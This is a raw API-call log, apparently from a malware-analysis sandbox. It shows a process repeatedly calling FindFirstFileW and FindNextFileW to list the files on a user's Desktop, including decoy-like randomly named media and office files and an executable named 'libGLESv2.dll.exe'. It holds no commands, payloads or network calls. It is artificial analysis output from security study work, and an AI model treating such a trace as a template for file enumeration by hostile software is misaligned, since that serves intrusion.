ftLastWriteTime.dwLowDateTime=0x123d2160, ftLastWriteTime.dwHighDateTime=0x1d9b062, nFileSizeHigh=0x0, nFileSizeLow=0x70ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3raBYqTCY5preR3iN8B.xlsx", cAlternateFileName="A3RABY~1.XLS")) returned 1 [0213.334] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f530050, ftCreationTime.dwHighDateTime=0x1d9a963, ftLastAccessTime.dwLowDateTime=0xd0cc8e20, ftLastAccessTime.dwHighDateTime=0x1d9aaa6, ftLastWriteTime.dwLowDateTime=0xd0cc8e20, ftLastWriteTime.dwHighDateTime=0x1d9aaa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A99 rC", cAlternateFileName="A99RC~1")) returned 1 [0213.334] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3162a70, ftCreationTime.dwHighDateTime=0x1d9acb8, ftLastAccessTime.dwLowDateTime=0x26c400b0, ftLastAccessTime.dwHighDateTime=0x1d9b308, ftLastWriteTime.dwLowDateTime=0x26c400b0, ftLastWriteTime.dwHighDateTime=0x1d9b308, nFileSizeHigh=0x0, nFileSizeLow=0xb8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ArLgk00KbMk7IlhAZg.mkv", cAlternateFileName="ARLGK0~1.MKV")) returned 1 [0213.335] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfd1680, ftCreationTime.dwHighDateTime=0x1d9a701, ftLastAccessTime.dwLowDateTime=0xbd2675b0, ftLastAccessTime.dwHighDateTime=0x1d9ac91, ftLastWriteTime.dwLowDateTime=0xbd2675b0, ftLastWriteTime.dwHighDateTime=0x1d9ac91, nFileSizeHigh=0x0, nFileSizeLow=0x10d6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bT2q9ujJJzTGYYi_WG.m4a", cAlternateFileName="BT2Q9U~1.M4A")) returned 1 [0213.335] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd600a10, ftCreationTime.dwHighDateTime=0x1d9abf9, ftLastAccessTime.dwLowDateTime=0x716ca540, ftLastAccessTime.dwHighDateTime=0x1d9ac5a, ftLastWriteTime.dwLowDateTime=0x716ca540, ftLastWriteTime.dwHighDateTime=0x1d9ac5a, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSyuo.wav", cAlternateFileName="")) returned 1 [0213.335] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7248dea0, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0x7a4c66c0, ftLastAccessTime.dwHighDateTime=0x1d9b0ef, ftLastWriteTime.dwLowDateTime=0x7a4c66c0, ftLastWriteTime.dwHighDateTime=0x1d9b0ef, nFileSizeHigh=0x0, nFileSizeLow=0x11ebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="cWyJByILnXJYM8MYBCK.jpg", cAlternateFileName="CWYJBY~1.JPG")) returned 1 [0213.335] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.335] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3591e450, ftCreationTime.dwHighDateTime=0x1d9a731, ftLastAccessTime.dwLowDateTime=0xa69d22e0, ftLastAccessTime.dwHighDateTime=0x1d9b4b0, ftLastWriteTime.dwLowDateTime=0xa69d22e0, ftLastWriteTime.dwHighDateTime=0x1d9b4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmc-1Ry", cAlternateFileName="")) returned 1 [0213.336] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2d1080, ftCreationTime.dwHighDateTime=0x1d9b430, ftLastAccessTime.dwLowDateTime=0x5e7a63d0, ftLastAccessTime.dwHighDateTime=0x1d9b4e5, ftLastWriteTime.dwLowDateTime=0x5e7a63d0, ftLastWriteTime.dwHighDateTime=0x1d9b4e5, nFileSizeHigh=0x0, nFileSizeLow=0xe44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jB_w_kxa593tpFl9cVk.avi", cAlternateFileName="JB_W_K~1.AVI")) returned 1 [0213.336] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713384c0, ftCreationTime.dwHighDateTime=0x1d9a9a5, ftLastAccessTime.dwLowDateTime=0xa392b4c0, ftLastAccessTime.dwHighDateTime=0x1d9b20d, ftLastWriteTime.dwLowDateTime=0xa392b4c0, ftLastWriteTime.dwHighDateTime=0x1d9b20d, nFileSizeHigh=0x0, nFileSizeLow=0xb264, dwReserved0=0x0, dwReserved1=0x0, cFileName="K85nlTiUfiz8g.odt", cAlternateFileName="K85NLT~1.ODT")) returned 1 [0213.336] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded7ea00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xdf708080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll.exe", cAlternateFileName="LIBGLE~1.EXE")) returned 1 [0213.336] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d5e0c0, ftCreationTime.dwHighDateTime=0x1d9a70b, ftLastAccessTime.dwLowDateTime=0xf7051780, ftLastAccessTime.dwHighDateTime=0x1d9a801, ftLastWriteTime.dwLowDateTime=0xf7051780, ftLastWriteTime.dwHighDateTime=0x1d9a801, nFileSizeHigh=0x0, nFileSizeLow=0xedf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="m9zUslH.wav", cAlternateFileName="")) returned 1 [0213.336] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff532a70, ftCreationTime.dwHighDateTime=0x1d9aaa0, ftLastAccessTime.dwLowDateTime=0x3b6fc6e0, ftLastAccessTime.dwHighDateTime=0x1d9af3c, ftLastWriteTime.dwLowDateTime=0x3b6fc6e0, ftLastWriteTime.dwHighDateTime=0x1d9af3c, nFileSizeHigh=0x0, nFileSizeLow=0x18007, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZghVzWvVHkZ62czPYQ.wav", cAlternateFileName="MZGHVZ~1.WAV")) returned 1 [0213.337] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f510690, ftCreationTime.dwHighDateTime=0x1d9b114, ftLastAccessTime.dwLowDateTime=0x763a6c40, ftLastAccessTime.dwHighDateTime=0x1d9b3f5, ftLastWriteTime.dwLowDateTime=0x763a6c40, ftLastWriteTime.dwHighDateTime=0x1d9b3f5, nFileSizeHigh=0x0, nFileSizeLow=0x15c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="O8-rRbrh2zl7qKNa.m4a", cAlternateFileName="O8-RRB~1.M4A")) returned 1 [0213.337] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cace60, ftCreationTime.dwHighDateTime=0x1d9aa72, ftLastAccessTime.dwLowDateTime=0xa9a22060, ftLastAccessTime.dwHighDateTime=0x1d9acab, ftLastWriteTime.dwLowDateTime=0xa9a22060, ftLastWriteTime.dwHighDateTime=0x1d9acab, nFileSizeHigh=0x0, nFileSizeLow=0xa6ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="pVp-.mkv", cAlternateFileName="")) returned 1 [0213.337] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a919620, ftCreationTime.dwHighDateTime=0x1d9a78c, ftLastAccessTime.dwLowDateTime=0xd274fe0, ftLastAccessTime.dwHighDateTime=0x1d9b051, ftLastWriteTime.dwLowDateTime=0xd274fe0, ftLastWriteTime.dwHighDateTime=0x1d9b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qudp9T5J94", cAlternateFileName="QUDP9T~1")) returned 1 [0213.337] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f84a20, ftCreationTime.dwHighDateTime=0x1d9ab32, ftLastAccessTime.dwLowDateTime=0xe8dc32f0, ftLastAccessTime.dwHighDateTime=0x1d9afa5, ftLastWriteTime.dwLowDateTime=0xe8dc32f0, ftLastWriteTime.dwHighDateTime=0x1d9afa5, nFileSizeHigh=0x0, nFileSizeLow=0x1a81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rdfr.jpg", cAlternateFileName="")) returned 1 [0213.338] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f731660, ftCreationTime.dwHighDateTime=0x1d9a875, ftLastAccessTime.dwLowDateTime=0x19035900, ftLastAccessTime.dwHighDateTime=0x1d9a983, ftLastWriteTime.dwLowDateTime=0x19035900, ftLastWriteTime.dwHighDateTime=0x1d9a983, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="T59ONmYjtDhfsMgj4i.m4a", cAlternateFileName="T59ONM~1.M4A")) returned 1 [0213.338] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379f6d0, ftCreationTime.dwHighDateTime=0x1d9b35f, ftLastAccessTime.dwLowDateTime=0xd96c1e70, ftLastAccessTime.dwHighDateTime=0x1d9b482, ftLastWriteTime.dwLowDateTime=0xd96c1e70, ftLastWriteTime.dwHighDateTime=0x1d9b482, nFileSizeHigh=0x0, nFileSizeLow=0x10cb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLGcsrCO_T-N7.png", cAlternateFileName="XLGCSR~1.PNG")) returned 1 [0213.338] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd9c7e0, ftCreationTime.dwHighDateTime=0x1d9a842, ftLastAccessTime.dwLowDateTime=0xf3c13c80, ftLastAccessTime.dwHighDateTime=0x1d9aa85, ftLastWriteTime.dwLowDateTime=0xf3c13c80, ftLastWriteTime.dwHighDateTime=0x1d9aa85, nFileSizeHigh=0x0, nFileSizeLow=0x484b, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOX9zMn0.odt", cAlternateFileName="")) returned 1 [0213.338] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f4d4d0, ftCreationTime.dwHighDateTime=0x1d9ae99, ftLastAccessTime.dwLowDateTime=0x18b3bac0, ftLastAccessTime.dwHighDateTime=0x1d9b339, ftLastWriteTime.dwLowDateTime=0x18b3bac0, ftLastWriteTime.dwHighDateTime=0x1d9b339, nFileSizeHigh=0x0, nFileSizeLow=0x106fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="yTgAISaJK.mp3", cAlternateFileName="YTGAIS~1.MP3")) returned 1 [0213.339] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b1b40, ftCreationTime.dwHighDateTime=0x1d9b11f, ftLastAccessTime.dwLowDateTime=0x1817dc0, ftLastAccessTime.dwHighDateTime=0x1d9b194, ftLastWriteTime.dwLowDateTime=0x1817dc0, ftLastWriteTime.dwHighDateTime=0x1d9b194, nFileSizeHigh=0x0, nFileSizeLow=0x4fb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y_iZ-3EFk1Ye.flv", cAlternateFileName="Y_IZ-3~1.FLV")) returned 1 [0213.339] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330ec550, ftCreationTime.dwHighDateTime=0x1d9b018, ftLastAccessTime.dwLowDateTime=0x38828160, ftLastAccessTime.dwHighDateTime=0x1d9b041, ftLastWriteTime.dwLowDateTime=0x38828160, ftLastWriteTime.dwHighDateTime=0x1d9b041, nFileSizeHigh=0x0, nFileSizeLow=0x16c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="_gACuPF.mp4", cAlternateFileName="")) returned 1 [0213.339] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.339] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0213.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.340] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0x0) returned 0x1d [0213.340] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfc74adce, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc74adce, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.340] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfc74adce, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc74adce, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.341] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc335d30, ftCreationTime.dwHighDateTime=0x1d9b0f1, ftLastAccessTime.dwLowDateTime=0x505dbcb0, ftLastAccessTime.dwHighDateTime=0x1d9b1f3, ftLastWriteTime.dwLowDateTime=0x505dbcb0, ftLastWriteTime.dwHighDateTime=0x1d9b1f3, nFileSizeHigh=0x0, nFileSizeLow=0xa0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="0J-gyk47S0jeqIVJP.bmp", cAlternateFileName="0J-GYK~1.BMP")) returned 1 [0213.341] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce27fdd0, ftCreationTime.dwHighDateTime=0x1d9a7ef, ftLastAccessTime.dwLowDateTime=0xc0672be0, ftLastAccessTime.dwHighDateTime=0x1d9af7d, ftLastWriteTime.dwLowDateTime=0xc0672be0, ftLastWriteTime.dwHighDateTime=0x1d9af7d, nFileSizeHigh=0x0, nFileSizeLow=0x111ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="18-hyfZsRkg_CCpfF-.m4a", cAlternateFileName="18-HYF~1.M4A")) returned 1 [0213.341] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ed59f0, ftCreationTime.dwHighDateTime=0x1d9af57, ftLastAccessTime.dwLowDateTime=0x8ad6a2c0, ftLastAccessTime.dwHighDateTime=0x1d9b3f2, ftLastWriteTime.dwLowDateTime=0x8ad6a2c0, ftLastWriteTime.dwHighDateTime=0x1d9b3f2, nFileSizeHigh=0x0, nFileSizeLow=0xac34, dwReserved0=0x0, dwReserved1=0x0, cFileName="1TH07Wj.ppt", cAlternateFileName="")) returned 1 [0213.342] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63235300, ftCreationTime.dwHighDateTime=0x1d9a91f, ftLastAccessTime.dwLowDateTime=0xd2db4510, ftLastAccessTime.dwHighDateTime=0x1d9b255, ftLastWriteTime.dwLowDateTime=0xd2db4510, ftLastWriteTime.dwHighDateTime=0x1d9b255, nFileSizeHigh=0x0, nFileSizeLow=0x165ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A8N_IVgZvW0KV.mp4", cAlternateFileName="5A8N_I~1.MP4")) returned 1 [0213.342] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17212ae0, ftCreationTime.dwHighDateTime=0x1d9b39c, ftLastAccessTime.dwLowDateTime=0xd0915f50, ftLastAccessTime.dwHighDateTime=0x1d9b3b9, ftLastWriteTime.dwLowDateTime=0xd0915f50, ftLastWriteTime.dwHighDateTime=0x1d9b3b9, nFileSizeHigh=0x0, nFileSizeLow=0x13f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="9K5eYu2oTIeDUPaL.png", cAlternateFileName="9K5EYU~1.PNG")) returned 1 [0213.342] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f4f8b0, ftCreationTime.dwHighDateTime=0x1d9afd0, ftLastAccessTime.dwLowDateTime=0x123d2160, ftLastAccessTime.dwHighDateTime=0x1d9b062, ftLastWriteTime.dwLowDateTime=0x123d2160, ftLastWriteTime.dwHighDateTime=0x1d9b062, nFileSizeHigh=0x0, nFileSizeLow=0x70ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3raBYqTCY5preR3iN8B.xlsx", cAlternateFileName="A3RABY~1.XLS")) returned 1 [0213.343] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f530050, ftCreationTime.dwHighDateTime=0x1d9a963, ftLastAccessTime.dwLowDateTime=0xd0cc8e20, ftLastAccessTime.dwHighDateTime=0x1d9aaa6, ftLastWriteTime.dwLowDateTime=0xd0cc8e20, ftLastWriteTime.dwHighDateTime=0x1d9aaa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A99 rC", cAlternateFileName="A99RC~1")) returned 1 [0213.343] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3162a70, ftCreationTime.dwHighDateTime=0x1d9acb8, ftLastAccessTime.dwLowDateTime=0x26c400b0, ftLastAccessTime.dwHighDateTime=0x1d9b308, ftLastWriteTime.dwLowDateTime=0x26c400b0, ftLastWriteTime.dwHighDateTime=0x1d9b308, nFileSizeHigh=0x0, nFileSizeLow=0xb8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ArLgk00KbMk7IlhAZg.mkv", cAlternateFileName="ARLGK0~1.MKV")) returned 1 [0213.343] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfd1680, ftCreationTime.dwHighDateTime=0x1d9a701, ftLastAccessTime.dwLowDateTime=0xbd2675b0, ftLastAccessTime.dwHighDateTime=0x1d9ac91, ftLastWriteTime.dwLowDateTime=0xbd2675b0, ftLastWriteTime.dwHighDateTime=0x1d9ac91, nFileSizeHigh=0x0, nFileSizeLow=0x10d6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bT2q9ujJJzTGYYi_WG.m4a", cAlternateFileName="BT2Q9U~1.M4A")) returned 1 [0213.344] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd600a10, ftCreationTime.dwHighDateTime=0x1d9abf9, ftLastAccessTime.dwLowDateTime=0x716ca540, ftLastAccessTime.dwHighDateTime=0x1d9ac5a, ftLastWriteTime.dwLowDateTime=0x716ca540, ftLastWriteTime.dwHighDateTime=0x1d9ac5a, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSyuo.wav", cAlternateFileName="")) returned 1 [0213.344] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7248dea0, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0x7a4c66c0, ftLastAccessTime.dwHighDateTime=0x1d9b0ef, ftLastWriteTime.dwLowDateTime=0x7a4c66c0, ftLastWriteTime.dwHighDateTime=0x1d9b0ef, nFileSizeHigh=0x0, nFileSizeLow=0x11ebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="cWyJByILnXJYM8MYBCK.jpg", cAlternateFileName="CWYJBY~1.JPG")) returned 1 [0213.344] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.345] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3591e450, ftCreationTime.dwHighDateTime=0x1d9a731, ftLastAccessTime.dwLowDateTime=0xa69d22e0, ftLastAccessTime.dwHighDateTime=0x1d9b4b0, ftLastWriteTime.dwLowDateTime=0xa69d22e0, ftLastWriteTime.dwHighDateTime=0x1d9b4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmc-1Ry", cAlternateFileName="")) returned 1 [0213.345] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2d1080, ftCreationTime.dwHighDateTime=0x1d9b430, ftLastAccessTime.dwLowDateTime=0x5e7a63d0, ftLastAccessTime.dwHighDateTime=0x1d9b4e5, ftLastWriteTime.dwLowDateTime=0x5e7a63d0, ftLastWriteTime.dwHighDateTime=0x1d9b4e5, nFileSizeHigh=0x0, nFileSizeLow=0xe44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jB_w_kxa593tpFl9cVk.avi", cAlternateFileName="JB_W_K~1.AVI")) returned 1 [0213.345] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713384c0, ftCreationTime.dwHighDateTime=0x1d9a9a5, ftLastAccessTime.dwLowDateTime=0xa392b4c0, ftLastAccessTime.dwHighDateTime=0x1d9b20d, ftLastWriteTime.dwLowDateTime=0xa392b4c0, ftLastWriteTime.dwHighDateTime=0x1d9b20d, nFileSizeHigh=0x0, nFileSizeLow=0xb264, dwReserved0=0x0, dwReserved1=0x0, cFileName="K85nlTiUfiz8g.odt", cAlternateFileName="K85NLT~1.ODT")) returned 1 [0213.345] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded7ea00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xdf708080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll.exe", cAlternateFileName="LIBGLE~1.EXE")) returned 1 [0213.346] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87d5e0c0, ftCreationTime.dwHighDateTime=0x1d9a70b, ftLastAccessTime.dwLowDateTime=0xf7051780, ftLastAccessTime.dwHighDateTime=0x1d9a801, ftLastWriteTime.dwLowDateTime=0xf7051780, ftLastWriteTime.dwHighDateTime=0x1d9a801, nFileSizeHigh=0x0, nFileSizeLow=0xedf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="m9zUslH.wav", cAlternateFileName="")) returned 1 [0213.346] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff532a70, ftCreationTime.dwHighDateTime=0x1d9aaa0, ftLastAccessTime.dwLowDateTime=0x3b6fc6e0, ftLastAccessTime.dwHighDateTime=0x1d9af3c, ftLastWriteTime.dwLowDateTime=0x3b6fc6e0, ftLastWriteTime.dwHighDateTime=0x1d9af3c, nFileSizeHigh=0x0, nFileSizeLow=0x18007, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZghVzWvVHkZ62czPYQ.wav", cAlternateFileName="MZGHVZ~1.WAV")) returned 1 [0213.346] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, 